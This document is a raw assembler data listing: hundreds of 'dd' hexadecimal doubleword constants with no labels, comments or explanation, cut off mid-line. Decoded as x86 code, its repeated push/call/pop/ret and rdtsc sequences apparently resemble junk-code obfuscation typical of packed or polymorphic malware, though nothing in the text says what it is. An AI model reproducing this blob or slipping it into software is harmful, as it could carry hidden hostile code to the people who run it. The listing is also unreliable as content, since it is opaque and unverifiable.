66F5DDE3h, 0FB5DD381h dd 0BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 65DAE12Bh, 33ADBBCBh, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0BB8AE2C3h, 66406D2Dh, 12E8A0B3h, 33000000h dd 0BB1FFB34h, 20EC0373h, 4D9DA96Ah, 3A0D05DBh, 0D18A6087h dd 6E8h, 0CDE8F000h, 5A855EA9h, 880D5B61h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 89C8C353h, 61E515Fh, 0D38166EEh, 958B5AF4h, 62B0EE1h dd 5E9h, 9FB02F00h, 8D8B6017h, 62B21E1h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 16h, 89C35646h, 0DCBB9C1Dh dd 501D2A2Eh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0CAB74ED5h, 0D5639771h, 0D59D8B95h, 6A062B0Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 916EC350h, 0B745AD00h, 1581BD09h, 0BD83062Bh dd 62B05A9h, 0C0840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 527DC357h dd 8B6660BEh, 0F98A60F3h, 1BD1B523h, 6161062Bh, 0B8h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0B6452290h, 7E8B2DFh, 0BF000000h, 4FBCBB4Ah, 958935C0h dd 62B1105h, 0D781665Fh, 8D8DA9E0h, 62B4EA1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A5C35040h, 78C25358h dd 9589DFC2h, 62B09A5h, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0C014C3h, 0D98529C2h dd 83062B15h dd 2B2BE5BDh, 840F0006h, 55Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 3AC35646h, 0F58FA84Ah, 0BF600655h dd 0A0853FFh, 0F83FB966h, 0E5BD8361h, 1062B2Bh, 540840Fh dd 9D8B0000h, 62B2919h, 2BE5BD83h, 0F03062Bh, 4F786h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 27777966h, 5B589D82h, 6A6071h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0E43F8AC3h, 9705A73h dd 8E0FFB8Bh, 1, 0D98C66F9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 7CC35646h, 0CEA1FEBBh, 5D8F80FAh dd 0F8BF0F6Bh, 8904E180h, 2B029185h, 0FC90A06h, 16184h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0AE9907Bh, 1000000h, 9D2D9295h, 573ABD29h dd 0B5858B7Dh, 6A062B1Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0F311C356h, 0C38EF0C7h dd 86D9D8Bh, 8533062Bh, 62B258Dh, 26298589h, 6690062Bh dd 0E950FB8Bh, 12h, 9B1523FEh, 0E2D1D925h, 0FDEABFF2h dd 36A5EC56h, 6A90EBA8h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0C63BC353h, 0E69FF97Fh dd 6AE0A6h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0CAC35242h, 45450B3Dh, 0CDD5CBDFh, 512F6854h, 0FB8B2B63h dd 0D0243481h, 662B7C52h, 26F2EB81h, 91D95FFh, 6A062Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0C4B9ADC3h, 85896131h, 62EB5B0h, 1E20BF66h, 2A3E9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 69961BAEh, 0F62536D8h, 219D8B66h, 60062B0Fh dd 0FE8h, 0DF62F500h, 1AE488CEh, 0BBC9704h, 0D098DBFAh dd 26299D29h, 5658062Bh, 0A913BB66h, 858B6158h, 62EB5A8h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0E5C35343h dd 92F890F7h, 0E82DE7B2h, 0Ah, 0C7111E3h, 93F10CA1h, 0F6038C2h dd 9D8BD2BFh, 62B2959h, 0B5895F61h, 62B196Dh, 1800C7h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0D2E721C3h, 6DBD8B7Eh, 52062B20h, 17E59589h dd 8B5B062Bh, 2EB5ACB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 89E25E7Ch, 2840F91h, 0B3000000h dd 0C5858B45h, 8A062B16h, 6A0689FCh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 471FC357h dd 76C0FA0Eh, 0EEC38166h, 0B5858BF6h, 6A062B1Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 3935C352h, 9D2BB8C3h, 62B0509h, 0F9AF09BFh, 4468917h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1EC35747h dd 0B8255867h, 800FED76h, 4, 0FBE9BB66h, 28B0Fh, 0FA8A0000h dd 24348950h, 2A319D89h, 0B5FF062Bh, 62EB5A8h, 0E3816651h dd 0E95BA371h, 11h, 5D09780Fh, 87C59BF5h, 1C93CB9Dh, 0CDE2FA20h dd 4E82Bh, 3FF0000h, 6E8001Fh, 0A0000000h, 0B857CF8Bh dd 2810F98h, 0B3000000h, 60505F96h, 8B61F78Ah, 0E9042444h dd 0Dh, 0E6D6D686h, 0E0E596FFh, 4E186BE7h, 0E8008B7Ch dd 0Ch, 4CCCE34Ah, 0E2279755h, 0FDD3E278h, 10E9h, 0A292C800h dd 3164EF0Eh, 0C0C87901h, 1928B634h, 44895F2Bh, 10E80424h dd 0DE000000h, 0BDC82CC5h, 89FD2F43h, 6713D27Ah, 0E9805577h dd 0Bh, 10254001h, 1F14ECB7h, 5FAE6D1Ah, 0B0858D58h, 89062EB5h dd 2B019595h, 0BF669006h, 8B50CD75h, 890F90D9h, 16h, 11E9h dd 6C90CB00h, 0AB23D44Dh, 0E89F1B7Dh, 85651462h, 95FF4A98h dd 62B091Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 73C35141h, 0BD8B591Ah, 62B0BF9h, 0D9D8B61h, 0C7062B1Dh dd 2B2BE585h, 306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 5E4D9E88h, 0FA8C22C1h dd 0FE8B6h, 66FD0000h, 3D8F60A6h, 214DB3FEh, 28676EF1h dd 0DF8B6690h, 7CA8BB5Fh, 0BD8360BBh, 62EB5B0h, 55840F00h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0CB96C353h, 0B01EF392h, 8D29B314h dd 62B07E9h, 0B718589h, 3CE9062Bh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 4B2C352h, 3C56CD6Fh, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 89C08B00h, 2B1E89BDh, 98F0F06h, 60000000h dd 1ABE6160h, 6121390Dh, 2BE5BD83h, 0F03062Bh, 41085h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0FF827CDh, 2956FBB7h, 2B1721B5h, 0BD835B06h dd 62EB5B0h, 0DA840F00h, 9000003h, 2B2C058Dh, 0A917BB06h dd 0B5FF7B07h, 62EB5B0h, 0D3816657h, 0FF5BE9B9h, 2B017595h dd 0A4B58B06h, 66062EB5h, 0D6C8EF81h, 106C7h, 0E9600001h dd 0Bh, 0D631D376h, 4F4E3D9Fh, 8105A9A2h, 0ACD63DE3h, 57966168h dd 9202BF66h, 0F60505Bh, 83h, 61D88B00h, 0C7816696h, 0BD8B07A8h dd 62B1831h, 0B5B0B5FFh, 820F062Eh, 6, 17358589h, 95FF062Bh dd 62B1555h, 27519529h, 0B58B062Bh, 62EB5A4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 9C35141h, 14E9h dd 0F0020E00h, 70E52673h, 64E622Ah, 79C0E39Eh, 0D2B27F39h dd 47D7BF9Bh, 858B581Dh, 62B1AD9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 7C35040h, 0A3439183h, 0B5B660BEh dd 196D8589h, 0E861062Bh, 6, 0D6C50C3h, 858909BBh, 62B3031h dd 0C486895Fh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 32F3C350h, 0D9A1C3F0h dd 559D8B55h, 8B062B00h, 0E1958BDAh, 6A062B0Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0BDEC355h, 0DB8021ACh, 0AE91Ah, 0DDDB0000h, 0CCC44E90h dd 0E8F6AF7Fh, 6A04C283h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 3B3AC357h, 64B6C89Fh dd 0FE92F8Eh, 0D2000000h, 0A095BFA3h, 6E177D8Fh, 0E12E6BEDh dd 5089D047h, 0B5B58920h, 8D062B0Dh, 2ECA4E85h, 2850F06h dd 0B3000000h, 8922B3C8h, 0B886h, 0D59D0300h, 6A062B11h dd 0A19D0100h, 0FF062B1Dh, 2EB5B0B5h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 44830CEBh, 1691BD33h, 8D89062Bh, 62B1581h dd 5E195FFh, 0BD89062Bh, 62B2F79h, 4880F50h, 66000000h dd 893B29BFh, 9D8B2434h, 62B1739h, 0B5B0B5FFh, 6A062Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 1073FAC3h, 8E2A84D5h, 0BE9F5D5h, 0DC000000h, 89833F7Fh dd 8B6269B0h, 95FF1301h, 62B1569h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0B7C35141h, 90AEEB67h, 818E1E49h dd 3DE8B4Ah, 2B29819Dh, 9DBD8306h, 62B1Dh, 48840Fh, 0BF660000h dd 535006C0h, 5FF88B66h, 6A243489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C0DC357h dd 0BEC0F29Dh, 8A60F7E1h, 0FE9CEh, 76E90000h, 0E17062ACh dd 44F57C71h, 0FEB8DD33h, 0B5FF6100h, 62EB5B0h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0E4C35747h, 0CF938C11h dd 0FFB21D4Fh, 2B2E1195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0CFFC2211h dd 62BB663Eh, 0B0B5FFE0h, 6A062EB5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A065C350h dd 9D8BE0FFh, 62B1F21h, 240D95FFh, 0BF66062Bh, 0BD83C16Dh dd 62B2E29h, 42840F02h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 9C76C351h dd 858BFEE4h, 62B2B39h, 8E8h, 44A5CA00h, 0A95526E3h, 0ED9D8BF6h dd 5F062B2Eh, 660000C6h, 0F380DF8Bh, 2585C7A5h, 62B09h dd 0E9000000h, 0Dh, 8B917B3Ch, 1FBFCD4Eh, 5BB1BF1Fh, 0F1A0E9F8h dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0B589A9C3h, 62B2F61h, 0BF66C18Bh, 0BD8BA593h dd 62B06CDh, 2FC1858Dh, 26BB062Bh, 90730CBAh, 50FE8B66h dd 0FABF0F90h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0A93604C3h, 6A2BA051h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0E98D638Fh, 0F4352E37h, 0EF858DDFh, 6A06303Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 2628C353h, 7AA39FDCh, 0C0831454h, 21858905h, 90062B00h dd 28A0F50h, 0B3000000h, 0BD8B900Fh, 62B2639h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 1F6DC5C3h, 543B39FDh, 0BF79E9F7h, 2B45FFBDh, 0FFFC006Ah dd 2B34E195h, 0AA8D8D06h, 29062EA6h, 2B1BA185h, 66D1FF06h dd 835F01BFh, 2B0A01BDh, 850F0106h, 93h, 0E9D9D8Bh, 9501062Bh dd 62B1EC1h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 5ACAE6C3h, 10E8C1h, 0FE760000h dd 0FE2C7336h, 0E3155B2Ch, 2DC3B01h, 665F04A6h, 895FB1BFh dd 2B1E5185h, 0E9509006h, 0Ch, 140B6638h, 5BBFA92Ch, 0FDF6EABEh dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0B0133577h, 61CC6673h, 245F45BBh, 0E195FF3Bh dd 66062B05h, 0E90317BFh, 0DB6h, 0E8h, 0ED815D00h, 6303BF9h dd 2A6DBD8Bh, 8166062Bh, 8DB5F2CFh, 2E993A85h, 3DBB6606h dd 0A5858913h, 90062B10h, 7E85250h, 29000000h, 5CDD6FD4h dd 0FB8B2752h, 50310F5Fh, 95BF6652h, 66310F73h, 5A8690BBh dd 50585A58h, 0E990D98Bh, 0Ah, 2EDA9009h, 2BEBD2A2h, 0FF64AD97h dd 35h, 0E98D8900h, 64062B0Bh, 2589h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0C4D5D0C3h, 8A3CCDCDh, 0FFF98AF9h, 2B1E0D85h, 69BD8B06h dd 6A062B27h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0CDB5FF8Fh, 3062B0Eh, 2B33259Dh dd 0A995FF06h, 0E9062B11h, 178h, 13E9h, 7C1BFC00h, 93C4B3C7h dd 0BDB3EE27h, 2D60D44Ch, 0DA614D73h, 0F98B00B0h, 8B6670E6h dd 0E971E4FAh, 11h, 281070CBh, 0E609F23h, 7F4DF9BDh, 9CE95066h dd 0F613CC1h, 13783h, 0E1950900h, 0F062B2Eh, 9D8BC8B6h dd 62B0D89h, 6BAh, 35BD0300h, 8B062B24h, 958B60C1h, 62B0A59h dd 0CE0BA66h, 0F19D0361h, 0C1062B0Fh, 9D8904E8h, 62B1BD9h dd 0EF816653h, 665BC0E5h, 5B51E2F7h, 0BB66C82Bh, 0D18B92ECh dd 19B501h, 0E1E9062Bh, 8B000000h, 2B24159Dh, 7E806h, 3A100000h dd 4D1EA6ACh, 6880FDEh, 0F000000h, 82h, 858B5F00h, 505F4C4Ch dd 0C5958B60h, 0F062B1Eh, 68Eh, 0DDC88100h, 613157EFh dd 0E907C083h, 14h, 0EB35DFEFh, 0C0761524h, 16F73B12h dd 0CCF4845Fh, 0A160B80Fh, 2900C083h, 2B156D9Dh, 0FD03B06h dd 0E83h, 27CF8000h, 166D9D8Bh, 6DE9062Bh, 8B000000h, 0FFFFFF8Dh dd 14E8FFh, 80BD0000h, 519AA68h, 6E119693h, 0EDC05747h dd 0DE72981Dh, 5E9DE2Eh, 5D000000h, 9C053D6h, 1E1835Fh dd 3A840Fh, 8D890000h, 62B18B5h, 0FFFFA583h, 0E9FEFFFFh dd 9, 5D3CA49h, 8DE953F5h, 4C958987h, 60505F4Ch, 0AE9h dd 1AAA4B00h, 23DA2F8Ah, 805DE391h, 0E961E1DBh, 0 dd 0B04FB58Dh, 8D89062Fh, 62B0661h, 0B70F006Ah, 4595FFDEh dd 6A062B29h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 3A06C353h, 0E15F99C2h, 806EB5C6h dd 0BD8B33E7h, 62B2CC5h, 100BB9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 8A8CD25Dh dd 15958901h, 83062B27h, 0BD2BFCE1h, 62B0079h, 0C78166FCh dd 820F90A0h, 0Bh, 6E9h, 75E10C00h, 2BC7D246h, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8B663875h, 0BAF9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 9A9108C3h, 10E9h, 0F94B0200h dd 2D7EED53h, 0E7467071h, 2C13EE1h, 0C233AD59h, 0D003E8D1h dd 7504E983h, 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 6AF8CD73h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 5D58C353h, 7D4FAF4Eh dd 1AE1B589h, 880D062Bh, 60000000h, 0DBB70FFCh, 8E961h dd 0C33E0000h, 812417h, 958BB93Dh, 62B0EE1h, 0B46CBB66h dd 21E18D8Bh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0E195B6C3h, 0E1B5891Ch, 0E9062B2Bh dd 11h, 82D179E8h, 4937BA97h, 0D6A9F5BBh, 0CD1F7DC7h, 0C28B5086h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 89D7C353h, 2B154995h, 17800F06h, 0E9000000h, 12h, 38B3FB58h dd 60328312h, 30AAB95Bh, 2701571Eh, 0B529C83Ch, 62B348Dh dd 5A9BD83h, 0F00062Bh, 6684h, 0D3816600h, 0FE9010Ch, 73000000h dd 82996FD0h, 0FCDD4F8Fh, 73EC4410h, 0B8BD62h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 7BD3C355h, 406561FEh, 0E92A9319h, 5, 0B6F82430h dd 0A18D8DD4h, 23062B4Eh, 2B0219BDh, 89E1FF06h, 2B2CA18Dh dd 8DBD8B06h, 83062B24h, 2B2BE5BDh, 840F0006h, 40Fh, 1DA5BD8Bh dd 0BD83062Bh, 62B2BE5h, 17840F01h, 6A000004h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 3F88C350h, 0DC98D89h, 0BD2B062Bh, 62B0A81h, 2BE5BD83h dd 0F03062Bh, 3AB86h, 7D8D3100h, 60062B35h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 37C35040h, 17EF372h dd 2B0981B5h, 0D98C6606h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 97C35646h, 126C7F9h, 80035060h, 6A04E1h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0D51C96C3h, 0B5E3A968h, 0BF665759h, 0C90A5A3Ch, 0E0840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 14E9E9C3h, 0ED000000h, 9D5BB442h, 10D8237h dd 0B504F03Dh, 92D76BD4h, 8BB41C67h, 2B1EB585h, 0EF816606h dd 8533F65Ch, 62B258Dh, 14E9h, 5014500h, 6D439BCBh, 0EE143D7Dh dd 0E39645C2h, 405D2238h, 0BF6650E1h, 489D804h, 0C5BD8924h dd 89062B26h, 2B21B5B5h, 0F006A06h, 6368D9B7h, 660C908Bh dd 3481FA8Bh, 8F889C24h, 55006A0Ch, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 744705D5h, 0F815AE16h dd 14E8h, 0B619FD00h, 78C72B3Bh, 63606A91h, 0D570B66Ch dd 0CF16A764h, 819D2928h, 5B062B29h, 0FFDBB70Fh, 2B091D95h dd 89F88B06h, 2EB5B085h, 1C3E906h, 858B0000h, 62EB5A8h dd 1800C7h, 66500000h, 8B5BD98Bh, 2EB5ACB5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 46B38904h, 8BB5F7F0h, 2B16C585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0ADF3B73Dh dd 815D6186h, 3BA51DE3h, 6A06891Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 1FDC350h dd 13672F8Dh, 24159D8Bh, 858B062Bh, 62B1EB5h, 89DAB70Fh dd 6A0446h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 868286C3h, 15B3AC88h, 24348950h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0AC35545h, 85AA7CD0h dd 0BF66AE57h, 8B60BD1Dh, 2B1C6985h, 4ECE8106h, 6168C8DEh dd 0B5A8B5FFh, 6A062Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0D8012EC3h, 5BF7E65Eh, 55BD8BF6h dd 8B062B2Bh, 2B11199Dh, 0F7646806h, 0DD8A2729h, 9B243481h dd 2B2736F4h, 2B09359Dh, 0B0858D06h, 0E8062EB5h, 10h, 0F2626671h dd 0A766DC3Fh, 93189638h, 0D37B163Bh, 0CF99D8Bh, 505F062Bh dd 310F5250h, 585ADD8Ah, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 53FEC350h dd 2D85BD89h, 95FF062Bh, 62B091Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 8BC35141h, 814288ECh, 0ED8D01B6h dd 89062B2Eh, 2B15E19Dh, 6A6106h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0BCB146C3h, 8D89911Dh dd 62B2BA9h, 6860Fh, 9D8B0000h, 62B0555h, 0BB9B531h, 85C7062Bh dd 62B2BE5h, 3, 959D8Bh, 0BD83062Bh, 62EB5B0h, 2D840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8B4CC357h, 2B1F859Dh, 21E906h dd 0BF0F0000h, 0DF8B66DFh, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 0FC08B00h, 9D0BF9B7h, 62B0E01h, 2BE5BD83h dd 0F03062Bh, 48085h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0CBABC179h, 3E299CD1h dd 68A0F59h, 81000000h, 0A075E0CBh, 0B0BD8310h, 62EB5h dd 443840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8BA1FDC3h, 2B26C99Dh, 0FFB70F06h dd 915BD89h, 0B5FF062Bh, 62EB5B0h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 63C35040h, 81661B0Ch, 0FFC7DBDFh dd 2B017595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 12C07615h, 5E93Bh, 2E9D0000h, 8BF68523h dd 2EB5A4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0B70F3DDEh, 9E9DAh, 0E3E0000h, 9EE75DB3h dd 0C7152892h, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0AEEDC35Ch, 16CB8122h dd 506B9821h, 80F8BF66h, 0FC243489h, 0B5B0B5FFh dd 6A062Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 250583C3h, 98E0F03h, 0F000000h, 38Dh, 0FBB70F00h dd 155595FFh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 66B9F9C3h, 0B58BFE8Bh, 62EB5A4h dd 91858960h, 61062B2Ch, 1AD9858Bh, 8689062Bh, 0C4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DC35040h, 80609CD2h dd 0BF6628C3h, 958BFE6Eh, 62B0EE1h, 1BF9BD8Bh, 0C283062Bh dd 5089F504h, 35BD8B20h, 8D062B27h, 2ECA4E85h, 0EF816606h dd 86897087h, 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 6CC35040h, 89CCCB98h, 2B25E19Dh, 6A006A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0A931C355h, 708B33CAh, 13E850h, 0C61A0000h dd 2D468678h, 0BDD3A2C9h, 0BAF0F3ACh, 5A5CE57Ah, 1BD2323h dd 5F062B26h, 0B5B0B5FFh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 38B77CC3h, 0BFB8D006h dd 6A3FCC38h, 5E195FFh, 8B57062Bh, 2B1E4D9Dh, 0BF505F06h dd 86C71B5h, 6A243489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 41F1C353h, 9F280C22h dd 0F5633F1Fh, 0B5B0B5FFh, 6A062Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 99442BC3h dd 13E888B9h, 8A000000h, 0C2B1D42Bh, 874DF11Eh, 92921D5h dd 0F1E5E19Ch, 0BD8BC06Ah, 62B2B41h, 359D895Fh, 0FF062B1Bh dd 2B156995h, 14860F06h, 0E8000000h, 8, 6083085Ch, 9824D082h dd 1BA1BD89h, 835B062Bh, 2B1D9DBDh, 840F0006h, 2Fh, 96FAB70Fh dd 0F4BF6650h, 66505B12h, 967414BBh, 14E9h, 80FE3800h dd 0A40182E3h, 0CB96FDAAh, 0B01EF392h, 9163B314h, 0D5BD8BA3h dd 0FF062B19h, 2EB5B0B5h, 9D896006h, 62B08C5h, 1195FF61h dd 6A062B2Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 6681C351h, 0B5FFFB8Bh, 62EB5B0h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 3DC35141h dd 0A7DE880h, 3860FD9h, 66000000h, 95FFFB8Bh, 62B240Dh dd 0CBB9BB66h, 14E960h, 6AA30000h, 0B750342Ah, 7072DACh dd 647B8181h, 0A44FE0FDh, 8361F1E8h, 2B2E29BDh, 840F0206h dd 57h, 789BD8Bh, 858B062Bh, 62B2B39h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0C35545h, 6810Fh, 8D890000h dd 62B19DDh, 6A0000C6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 667DC350h, 0C7F547BFh dd 2B092585h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 224C83D4h, 20C07429h dd 0F2FDE9F5h, 9D89FFFFh, 62B2A3Dh, 8953C18Bh, 2B0D7985h dd 858D5F06h, 62B2FC1h, 50DE8B66h, 8E852h, 64170000h, 1720AF19h dd 0AE99A3Bh, 49000000h, 6A9CFC09h, 0C03223CDh, 895B5FFEh dd 85892404h, 62B0871h, 9E9h, 155A8600h, 99CCFECCh, 6A0471h dd 1FC9BD0Bh, 6A062Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0CAC35242h, 345E36F3h, 4DBD8BE4h, 8D062B0Bh dd 304B9F85h, 0B1BD8B06h, 83062B26h, 9D8905C0h, 62B3431h dd 0E561E381h, 5050528Bh, 52310F52h, 5A5B6160h, 24048958h dd 0BFFFBF0Fh, 524CCE28h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0F37889C3h, 99F7F7Ch dd 2B0C4D85h, 9D8B5706h, 62B152Dh, 6A006A5Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0A7E5C352h, 597134F1h, 0F525FFCBh, 0FFDF8B66h, 2B34E195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 3F598D53h, 816619FDh, 8D9311F3h, 2EA6AA8Dh dd 8E806h, 0ED3A0000h, 4BF87FBFh, 8B66CB1Fh, 0D1FF5BDEh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 3BC35343h dd 7D9D23F8h, 83062B1Eh, 2B0A01BDh, 850F0106h, 83h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 